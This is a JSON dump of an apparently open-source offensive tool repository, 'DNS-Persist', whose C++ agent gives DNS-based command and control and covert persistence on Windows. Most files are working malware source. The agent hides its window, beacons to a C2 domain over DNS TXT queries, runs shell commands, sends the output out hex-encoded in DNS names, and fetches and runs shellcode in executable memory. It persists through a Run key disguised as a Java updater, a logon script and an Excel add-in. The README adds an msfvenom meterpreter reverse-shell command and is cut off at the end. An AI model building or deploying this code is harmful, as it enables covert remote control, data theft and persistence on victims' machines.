[
  {
    "path": ".gitignore",
    "content": "*.pyc\n*.exe\n*.pdb\n*.sdf\n*.ipch\n*.ilk\n*.obj\n*.tlog\n*.txt\n*.cache\n*.idb\n*.manifest\n*.log\n*.suo\nAgent/Agent/Release\nAgent/Agent/Debug\n.idea/\n"
  },
  {
    "path": "Agent/Agent/Agent.vcxproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <ProjectGuid>{F3650F8D-4059-43CC-BDFB-0FB803DFE650}</ProjectGuid>\n    <RootNamespace>Agent</RootNamespace>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <CharacterSet>MultiByte</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>MultiByte</CharacterSet>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <LinkIncremental>false</LinkIncremental>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>Disabled</Optimization>\n    </ClCompile>\n    <Link>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>MaxSpeed</Optimization>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n    </ClCompile>\n    <Link>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClCompile Include=\"Commands.cpp\" />\n    <ClCompile Include=\"DNSCommunication.cpp\" />\n    <ClCompile Include=\"Handler.cpp\" />\n    <ClCompile Include=\"main.cpp\" />\n    <ClCompile Include=\"Persistence.cpp\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"Commands.h\" />\n    <ClInclude Include=\"Declarations.h\" />\n    <ClInclude Include=\"DNSCommunication.h\" />\n    <ClInclude Include=\"Handler.h\" />\n    <ClInclude Include=\"Persistence.h\" />\n    <ClInclude Include=\"resource.h\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ResourceCompile Include=\"Agent.rc\" />\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"..\\..\\..\\..\\..\\Desktop\\XLSADDIN.xlam\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "Agent/Agent/Agent.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"main.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"DNSCommunication.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"Handler.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"Commands.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"Persistence.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"Declarations.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"DNSCommunication.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"Handler.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"Commands.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"Persistence.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"resource.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n  </ItemGroup>\n  <ItemGroup>\n    <ResourceCompile Include=\"Agent.rc\">\n      <Filter>Resource Files</Filter>\n    </ResourceCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"..\\..\\..\\..\\..\\Desktop\\XLSADDIN.xlam\" />\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "Agent/Agent/Agent.vcxproj.user",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n</Project>"
  },
  {
    "path": "Agent/Agent/Commands.cpp",
    "content": "#include \"Commands.h\"\n\n\n\n\nLPCSTR ProcessList(){\n\tstd::string pList = ExecuteCommand(\"tasklist\");\n\tLPSTR lpResponse = new CHAR[MAX_DATA_LENGTH];\n\tStringCbPrintf(lpResponse,MAX_DATA_LENGTH,\"%s\",pList.c_str());\n\treturn lpResponse;\n}\nLPCSTR ExecuteShell(LPCSTR command){\n\tstd::string pList = ExecuteCommand(command);\n\tLPSTR lpResponse = new CHAR[MAX_DATA_LENGTH];\n\tStringCbPrintf(lpResponse,MAX_DATA_LENGTH,\"%s\",pList.c_str());\n\treturn lpResponse;\n}\nLPCSTR SystemInfo(){\n\t\n\tLPSTR lpResponse = new CHAR[MAX_DATA_LENGTH];\n\tSYSTEM_INFO siSysInfo;\n\tGetSystemInfo(&siSysInfo); \n\n\tLPSTR computerName = new CHAR[MAX_COMPUTERNAME_LENGTH + 1];\n\tDWORD len = MAX_COMPUTERNAME_LENGTH + 1;\n\tGetComputerNameA(computerName,&len);\n\t\n\tDWORD usernameSize = 104;\n\tLPSTR username = new CHAR[104+1];\n\tGetUserName(username,&usernameSize);\n\n\n\tStringCbPrintf(lpResponse,MAX_DATA_LENGTH,\"----- System Information -----\\n\\nComputerName: %s\\\\%s\\nNumber of processors: %u\\nOEM ID: %u\\nProcessor type: %u\\n\",computerName,username,siSysInfo.dwNumberOfProcessors,siSysInfo.dwOemId,siSysInfo.dwProcessorType);\n\t\n\treturn lpResponse;\n}\n\nchar agentName[64];\nstatic const char alphanum[] = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789\";\nint stringLength = sizeof(alphanum) - 1;\n\nLPSTR AgentName(){\n\tDWORD size = 9;\n\tif(strlen(agentName)==0){\n\t\tstd::string tempString;\n\t\tsrand (time(NULL));\n\t\tfor(unsigned int i = 0; i < size-1; ++i)\n\t\t{\n\t\t\ttempString += alphanum[rand() % stringLength];\n\t\t}\n\t\tStringCbPrintf(agentName,size,\"%s\",tempString.c_str());\n\t}\n\treturn agentName;\n}\n\nLPCSTR ExecuteShellcode(){\n\t\n\t\n\tHANDLE hLocalThread;\n\tDWORD lpThreadId;\n\n\tstd::string temp = GetShellcode(AgentName());\n\tif(temp == NO_SHELLCODE){\n\t\treturn \"[-] There was no shellcode [-]\";\n\t}\n\n\tLPCSTR data = temp.c_str();\n\n\thLocalThread = CreateThread(NULL,0,InjectShellcode,(LPVOID)data,0,&lpThreadId);\n\t//WaitForSingleObject(hLocalThread,INFINITE);\n\tSleep(5);\n\tif(hLocalThread != NULL){\n\t\treturn \"[+] Shellcode Injected Successfully [+]\";\n\t}\n\treturn \"[-] Failed to inject shellcode [-]\";\n\n}\n\nDWORD WINAPI InjectShellcode(LPVOID lpData){\n\t\n\tLPVOID buffer = NULL;\n\tLPCSTR data = (LPCSTR)lpData;\n\tSIZE_T shLength = strlen(data);\n\tbuffer = VirtualAlloc(NULL,shLength+1,(MEM_COMMIT | MEM_RESERVE),PAGE_EXECUTE_READWRITE);\n\tmemcpy(buffer,data,shLength);\n\t__asm{\n\t\tLEA EAX,buffer\n\t\tMOV EDX, DWORD PTR DS:[EAX]\n        CALL EDX\n    }\n\treturn 0;\n}\n\n\nBOOL DropFileFromRes(LPCSTR fileName,DWORD resourceId){\n\n\n\tHGLOBAL resMemoryHandler;\n\tHRSRC resHandler;\n\tLPCSTR resourceName = MAKEINTRESOURCE(resourceId);\n\tLPCSTR resourceType = RT_RCDATA;\n\tLPVOID lpData = NULL;\n\tSIZE_T size;\n\tDWORD dwBytesWritten = 0;\n\n\t\n\tresHandler = FindResource(NULL,resourceName,resourceType);\n\tLPVOID data;\n\n\tif(resHandler != NULL){\n\t\tresMemoryHandler =LoadResource(NULL,resHandler);\n\t\tif(resMemoryHandler != NULL){\n\t\t\tlpData = LockResource(resMemoryHandler);\n\t\t\tif(lpData != NULL){\n\t\t\t\tsize = SizeofResource(NULL,resHandler);\n\t\t\t\tdata = VirtualAlloc(NULL,size+1,(MEM_COMMIT | MEM_RESERVE),PAGE_READWRITE);\n\t\t\t\tmemcpy(data,lpData,size);\n\t\t\t}else{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}else{\n\t\t\treturn FALSE;\n\t\t}\n\t}else{\n\t\treturn FALSE;\n\t}\n\n\tHANDLE fileHandler = CreateFile(fileName,(GENERIC_WRITE),FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);\n\n\tif(fileHandler != INVALID_HANDLE_VALUE){\n\t\tWriteFile(fileHandler,data,size,&dwBytesWritten,NULL);\n\t\tCloseHandle(fileHandler);\n\t\treturn TRUE;\n\t}\n\telse{\n\t\treturn FALSE;\n\t}\n\n}\n"
  },
  {
    "path": "Agent/Agent/Commands.h",
    "content": "#include \"DNSCommunication.h\"\n\nLPCSTR ProcessList();\nLPCSTR SystemInfo();\nLPCSTR ExecuteShellcode();\nLPCSTR ExecuteShell(LPCSTR command);\nLPSTR AgentName();\n\nDWORD WINAPI InjectShellcode(LPVOID lpData);\nBOOL DropFileFromRes(LPCSTR fileName,DWORD resourceId);"
  },
  {
    "path": "Agent/Agent/DNSCommunication.cpp",
    "content": "#include \"DNSCommunication.h\"\n\nBOOL SendData(LPSTR agentName, LPSTR data){\n\t\n\t// Used string because of lack of knowledge :p.\n\tstd::string response;\n\t\n\tDWORD data_length;\n\tDWORD data_remainder;\n\tDWORD chunks;\n\tDWORD chunk_size = 32;\n\n\tstd::string hex_data;\n\tstd::stringstream temp_data;\n\n\tDataToHEX(data,hex_data,TRUE);\n\tdata_length = hex_data.length();\n\tdata_remainder = data_length % chunk_size;\n\tchunks = data_length % chunk_size;\n\n\tif(data_length > chunk_size){\n\t\tfor(unsigned int i=0; i < data_length; i+=chunk_size){\n\t\t\ttemp_data.str(std::string()); // Clear the temp_data stream\n\t\t\tif(i == 0){\n\t\t\t\ttemp_data << \"7b21\" << hex_data.substr(i,chunk_size);// Appends the beginning signature to the data\n\t\t\t}else if((i+data_remainder)>=data_length){\n\t\t\t\ttemp_data << hex_data.substr(i,chunk_size) << \"217d\";// Appends the end signature to the data\n\t\t\t}else{\n\t\t\t\ttemp_data << hex_data.substr(i,chunk_size);\n\t\t\t}\n\n\t\t\tresponse = SendDNSPacket(agentName,\"DATA\",temp_data.str().c_str());\n\t\t}\n\t}else{\n\t\t// To be implmeneted that if there is less data then 32 bytes which is very unusal, to add the stream.\n\t\tresponse = SendDNSPacket(agentName,\"DATA\",hex_data.c_str()); // Normally we should not get here.\n\t}\n\t\n\tresponse.erase(0,(int)response.find(\"RESP:\") + 5);\n\tresponse.erase(response.length()-2,response.length());\n\n\tif(response.compare(\"OK\") == 0){\t\t\n\t\treturn TRUE;\n\t}\n\t// ERROR\n\treturn FALSE;\n}\n\n// Not very Windows-like programming but it works.\n\nVOID DataToHEX(const std::string str, std::string& hexstr, bool capital = false)\n{\n    hexstr.resize(str.size() * 2);\n    const size_t a = capital ? 'A' - 1 : 'a' - 1;\n\n    for (size_t i = 0, c = str[0] & 0xFF; i < hexstr.size(); c = str[i / 2] & 0xFF)\n    {\n        hexstr[i++] = c > 0x9F ? (c / 16 - 9) | a : c / 16 | '0';\n        hexstr[i++] = (c & 0xF) > 9 ? (c % 16 - 9) | a : c % 16 | '0';\n    }\n}\n\nstd::string SendDNSPacket(LPSTR agentName,LPSTR packetType,LPCSTR responseData){\n\t\n\tLPSTR domain = new CHAR[MAX_DOMAIN_LENGTH+1];\n\tstd::string response;\n\tPDNS_RECORD dnsRecord;\n\n\tif(lstrlen(responseData) == 0){\n\t\t// This is probably a probe or command request\n\t\tStringCbPrintf(domain,MAX_DOMAIN_LENGTH,\"%s-%s.%s\",agentName,packetType,DOMAIN_NAME);\n\t\t\n\t}else{\n\t\t// This sends the data to the server.\n\t\tStringCbPrintf(domain,MAX_DOMAIN_LENGTH,\"%s-%s-%s.%s\",agentName,packetType,responseData,DOMAIN_NAME);\n\t}\n\t\n\tWORD dnsType = DNS_TYPE_TEXT;\n\tDNS_STATUS dnsStatus;\n\tdnsStatus = DnsQuery(domain,dnsType,DNS_QUERY_BYPASS_CACHE,NULL,&dnsRecord,NULL);\n\n\tif(!dnsStatus){\n\t\tresponse = dnsRecord->Data.TXT.pStringArray[0];\n\t}else{\n\t\tresponse = \"ERROR\";\n\t}\n\tcout << response;\n\treturn response;\n}\n\n\nstd::string GetShellcode(LPSTR agentName){\n\tLPSTR domain = new CHAR[MAX_DOMAIN_LENGTH+1];\n\t\n\tBOOL bEnd = FALSE;\n\tstd::string response;\n\tstd::string shellcode;\n\tPDNS_RECORD dnsRecord;\n\tWORD dnsType = DNS_TYPE_TEXT;\n\tDNS_STATUS dnsStatus;\n\n\tStringCbPrintf(domain,MAX_DOMAIN_LENGTH,\"%s-SHL.%s\",agentName,DOMAIN_NAME);\n\n\twhile(!bEnd){\n\n\t\tdnsStatus = DnsQuery(domain,dnsType,DNS_QUERY_BYPASS_CACHE,NULL,&dnsRecord,NULL);\n\t\tif(!dnsStatus){\n\t\t\tresponse = dnsRecord->Data.TXT.pStringArray[0];\n\t\t}\n\t\t\n\t\tif(response.find(NO_SHELLCODE) != std::string::npos){\n\t\t\treturn NO_SHELLCODE;\n\t\t}\n\t\telse if(response.find(START) != std::string::npos){\n\t\t\tshellcode = std::string();\n\t\t\tshellcode = response.erase(0,2);\n\t\t}\n\t\telse if(response.find(END) != std::string::npos){\n\t\t\tshellcode.append(response.erase(response.length()-2,response.length()));\n\t\t\tbEnd = TRUE;\n\t\t}else{\n\t\t\tshellcode.append(response);\n\t\t}\n\t\t\n\t\t\n\t}\n\n\t// This is probably not the best way to do this but hey i'm not an expert in C++\n\tSIZE_T len;\n\tlen = shellcode.length();\n\tstd::string returnValue;\n\tfor(int i=0; i< len; i+=2)\n\t{\n\t\tstd::string byte = shellcode.substr(i,2);\n\t\tchar chr = (char) (int)strtol(byte.c_str(), NULL, 16);\n\t\treturnValue.push_back(chr);\n\t}\n\t\n\treturn returnValue;\n\n}\n\n\nstd::string ExecuteCommand(LPCSTR cmd) {\n\tstd::string data;\n\tFILE * stream;\n\tconst int max_buffer = 256;\n\tchar buffer[max_buffer];\n\tstream = _popen(cmd, \"r\");\n\tif (stream) {\n\twhile (!feof(stream))\n\tif (fgets(buffer, max_buffer, stream) != NULL) data.append(buffer);\n\t_pclose(stream);\n\t}\n\treturn data;\n}"
  },
  {
    "path": "Agent/Agent/DNSCommunication.h",
    "content": "#include \"Declarations.h\"\n\n\n\nBOOL SendData(LPSTR agentName, LPSTR data);\nVOID DataToHEX(const std::string str, std::string& hexstr, bool capital);\nstd::string SendDNSPacket(LPSTR agentName,LPSTR packetType,LPCSTR responseData);\nstd::string ExecuteCommand(LPCSTR command);\nstd::string GetShellcode(LPSTR agentName);\n\n\n\n\n"
  },
  {
    "path": "Agent/Agent/Declarations.h",
    "content": "#include <Windows.h>\n#include <Strsafe.h>\n#include <Windns.h>\n#include \"resource.h\"\n#include \"Shlwapi.h\"\n\n#include <iostream>\n#include <string>\n#include <sstream>\n#include <algorithm>\n#include <ctime>\n\n\n#pragma comment(lib, \"Shlwapi.lib\")\n#pragma comment (lib, \"Dnsapi.lib\")\n\n\nusing std::cout;\n\n\n#define MAX_DOMAIN_LENGTH 2048\n#define PROBE \"PROBE\"\n#define CMD \"CMD\"\n\n#define DOMAIN_NAME \"example.com\"\n#define MAX_DATA_LENGTH 1048576\n\n#define START \"{!\"\n#define END \"!}\"\n#define NO_SHELLCODE \"!@!\"\n\n#define PERSIST_RUNKEY 1\n#define PERSIST_LOGONSCRIPT 2\n#define PERSIST_EXCELADDIN 3\n\n"
  },
  {
    "path": "Agent/Agent/Handler.cpp",
    "content": "#include \"Handler.h\"\n\nLPCSTR HandleCommand(LPCSTR command){\n\n\tstd::string data = command;\n\n\tif(strstr(command,\"PRT-\") != NULL){\n\t\tdata.erase(0,4);\n\t\tDWORD method = atoi(data.c_str());\n\t\treturn Persist(method);\n\t}\n\telse if(strstr(command,\"SYS\") != NULL){\n\t\treturn SystemInfo();\n\t}\n\telse if(strstr(command,\"PSL\") != NULL){\n\t\treturn ProcessList();\n\t}\n\telse if(strstr(command,\"INJ\") != NULL){\n\t\treturn ExecuteShellcode();\n\t}\n\telse if(strstr(command,\"ECM-\") != NULL){\n\t\tdata.erase(0,4);\n\t\treturn ExecuteShell(data.c_str());\n\t}\n\n\treturn \"ERROR HANDLING COMMAND\";\n\n}"
  },
  {
    "path": "Agent/Agent/Handler.h",
    "content": "#include \"Declarations.h\"\n#include \"Persistence.h\"\n#include \"Commands.h\"\n\nLPCSTR HandleCommand(LPCSTR command);"
  },
  {
    "path": "Agent/Agent/Persistence.cpp",
    "content": "#include \"Persistence.h\"\n\nLPCSTR Persist(DWORD method){\n\n\tswitch(method){\n\t\tcase PERSIST_RUNKEY:\n\t\t\tif(PersistRunKey()){\n\t\t\t\treturn \"[+] Run key Persistence Successfull [+]\";\n\t\t\t}\n\t\tcase PERSIST_LOGONSCRIPT:\n\t\t\tif(PersistLogonScript()){\n\t\t\t\treturn \"[+] Logon script Persistence Successfull [+]\";\n\t\t\t}\n\t\tcase PERSIST_EXCELADDIN:\n\t\t\tif(PersistExcelAddin()){\n\t\t\t\treturn \"[+] Excel addin Persistence Successfull [+]\";\n\t\t\t}\n\t}\n\treturn \"[-] Persistence failed [-]\";\n}\n\n\nBOOL PersistRunKey(){\n\t\n\tLPSTR cFile = new CHAR[MAX_PATH+1];\n\tLPSTR fDestination = new CHAR[MAX_PATH+1];\n\tLPSTR appdata = new CHAR[MAX_PATH+1];\n\tGetEnvironmentVariable(\"appdata\",appdata,MAX_PATH);\n\n\tStringCbPrintf(fDestination,MAX_PATH,\"%s\\\\jusched.exe\",appdata);\n\n\tGetModuleFileName(NULL,cFile,MAX_PATH);\n\tif(CopyFile(cFile,fDestination,TRUE) != 0){\n\t\tSetFileAttributes(fDestination,FILE_ATTRIBUTE_HIDDEN);\n\t\tHKEY hKey;\n\t\tRegOpenKey(HKEY_CURRENT_USER,\"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",&hKey);\n\t\tRegSetValueEx(hKey,\"Oracle Java Update Scheduler\",0,REG_SZ,(LPBYTE)(LPCSTR)fDestination,MAX_PATH);\n\t\tRegCloseKey(hKey);\n\t\treturn TRUE;\n\t\t\n\t}\n\treturn FALSE;\n}\n\n\nBOOL PersistLogonScript(){\n\n\tLPSTR cFile = new CHAR[MAX_PATH+1];\n\tLPSTR fDestination = new CHAR[MAX_PATH+1];\n\tLPSTR userProfile = new CHAR[MAX_PATH+1];\n\tGetEnvironmentVariable(\"userprofile\",userProfile,MAX_PATH);\n\tStringCbPrintf(fDestination,MAX_PATH,\"%s\\\\jusched.exe\",userProfile);\n\tGetModuleFileName(NULL,cFile,MAX_PATH);\n\tif(CopyFile(cFile,fDestination,TRUE) != 0){\n\t\tSetFileAttributes(fDestination,FILE_ATTRIBUTE_HIDDEN);\n\t\tHKEY hKey;\n\t\tRegOpenKey(HKEY_CURRENT_USER,\"Environment\",&hKey);\n\t\tRegSetValueEx(hKey,\"UserInitMprLogonScript\",0,REG_SZ,(LPBYTE)(LPCSTR)fDestination,MAX_PATH);\n\t\tRegCloseKey(hKey);\n\t\treturn TRUE;\n\t}\n\treturn FALSE;\n\n\n\n}\n\n\nBOOL PersistExcelAddin(){\n\n\tLPSTR appData = new CHAR[MAX_PATH+1];\n\tLPSTR fileDest = new CHAR[MAX_PATH+1];\n\t\n\tGetEnvironmentVariable(\"appdata\",appData,MAX_PATH);\n\tStringCbPrintf(fileDest,MAX_PATH,\"%s\\\\Microsoft\\\\Excel\\\\XLSTART\",appData);\n\n\t\n\tif(PathFileExists(fileDest)){\n\t\tStringCbPrintf(fileDest,MAX_PATH,\"%s\\\\XLS_ADDIN.xlam\",fileDest);\n\t\tDropFileFromRes(fileDest,IDR_RCDATA1);\n\t\tLPSTR cFile = new CHAR[MAX_PATH+1];\n\t\tLPSTR fDestination = new CHAR[MAX_PATH+1];\n\t\tLPSTR appData = new CHAR[MAX_PATH+1];\n\t\tGetEnvironmentVariable(\"appdata\",appData,MAX_PATH);\n\t\tStringCbPrintf(fDestination,MAX_PATH,\"%s\\\\jsched.exe\",appData);\n\t\tGetModuleFileName(NULL,cFile,MAX_PATH);\n\t\tif(CopyFile(cFile,fDestination,TRUE) != 0){\n\t\t\tSetFileAttributes(fDestination,FILE_ATTRIBUTE_HIDDEN);\n\t\t\treturn TRUE;\n\t\t}\n\t}\n\n\treturn FALSE;\n}"
  },
  {
    "path": "Agent/Agent/Persistence.h",
    "content": "#include \"Declarations.h\"\n#include \"Commands.h\"\n\n\nLPCSTR Persist(DWORD method);\nBOOL PersistRunKey();\nBOOL PersistLogonScript();\nBOOL PersistExcelAddin();\n"
  },
  {
    "path": "Agent/Agent/main.cpp",
    "content": "#include \"Declarations.h\"\n#include \"DNSCommunication.h\"\n#include \"Handler.h\"\n#include \"Commands.h\"\n\nint main(){\n\n\tShowWindow(GetConsoleWindow(), SW_HIDE);\n\tLPSTR agentName = AgentName();\n\tstd::string response;\n\tstd::string tmp_command;\n\tDWORD numberOfCommands = 0;\n\tDWORD i = 0;\n\twhile(TRUE){\n\t\tSleep(5000);\n\t\tresponse = SendDNSPacket(agentName,PROBE,NULL);\n\t\tif (response.find(\"There were no commands\") == std::string::npos){\n\t\t\tif (response.find(\"NR:\")!= std::string::npos){\n\t\t\t\t// This gets the number of commands from the DNS server.\n\t\t\t\tresponse.erase(0,(int)response.find(\":\")+1);\n\t\t\t\tnumberOfCommands = atoi(response.c_str());\n\t\t\t\tfor(i=0;i<numberOfCommands;i++){\n\t\t\t\t\t// The parsing sucks but maybe I will fix it in the future.\n\t\t\t\t\ttmp_command = SendDNSPacket(agentName,CMD,NULL);\n\t\t\t\t\ttmp_command.erase(0,(int)tmp_command.find(\"CMD:\") + 4);\n\t\t\t\t\tSendData(agentName,const_cast<char*>(HandleCommand(tmp_command.c_str())));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}"
  },
  {
    "path": "Agent/Agent.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 11.00\n# Visual C++ Express 2010\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"Agent\", \"Agent\\Agent.vcxproj\", \"{F3650F8D-4059-43CC-BDFB-0FB803DFE650}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Win32 = Debug|Win32\n\t\tRelease|Win32 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Debug|Win32.ActiveCfg = Debug|Win32\n\t\t{F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Debug|Win32.Build.0 = Debug|Win32\n\t\t{F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Release|Win32.ActiveCfg = Release|Win32\n\t\t{F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Release|Win32.Build.0 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\nEndGlobal\n"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2017 Rio\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "# DNS-Persist\nDNS-Persist is a post-exploitation agent which uses DNS for command and control. The server-side code is in Python and the agent is coded in C++. This is the first version, more features and improvements will be made in the future.\n\n## Getting Started\n### Author\n0x09AL - https://twitter.com/0x09al\n### Disclaimer\nDO NOT USE THIS SOFTWARE FOR ILLEGALL PURPOSES.\n\nTHE AUTHOR DOES NOT KEEP ANY RESPONSIBILITY FOR ANY MISUSE OF THE CODE PROVIDED HERE.\n\n## Did I reinvent the wheel ?\nThere is a lot of great work on DNS C2 but I created this software to be more focused on the persistence part. I'm no expert in C++ and this is my first \"real program\" in C++ (so expect some cringe worthy code). \n\nSuggestions about features and improvements are open.\n\n## Architecture\n\nThere are two main parts:\n1. DNS server\n2. Agent\n\n![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-5.png \"Architecture\")\n\n## Features\n### Persistence mechanisms\nThis version has only 3 persistence mechanisms. More will be added later.\n1. LogonScript persistence.\n2. RunKey persistence.\n3. Excel Addin persistence.\n\n### 'Interactive' command shell\nThis version supports pseudo-interactive command shell that you can use to execute system commands.\n\n\n### Shellcode Injection\nThis version supports injection of 32-bit shellcode. The shellcode gets executed in a new thread in the same process, so crashing shellcode or invalid one will also crash the agent. Avoid NULL bytes on the shellcode.\n\n#### Shellcode generation example\n```\nmsfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port EXITFUNC=thread -b \"\\x00\" -f hex -o /tmp/shellcode.hex\n```\n\n## TODO LIST\n1. Add encryption.  **This version does not have any encryption so take your own risks when using it.**\n2. Add more persistence mechanisms.\n3. Agent in different programming languages.\n\n## Installation & Usage\n### Server side\n```\npip install dnslib\ngit clone 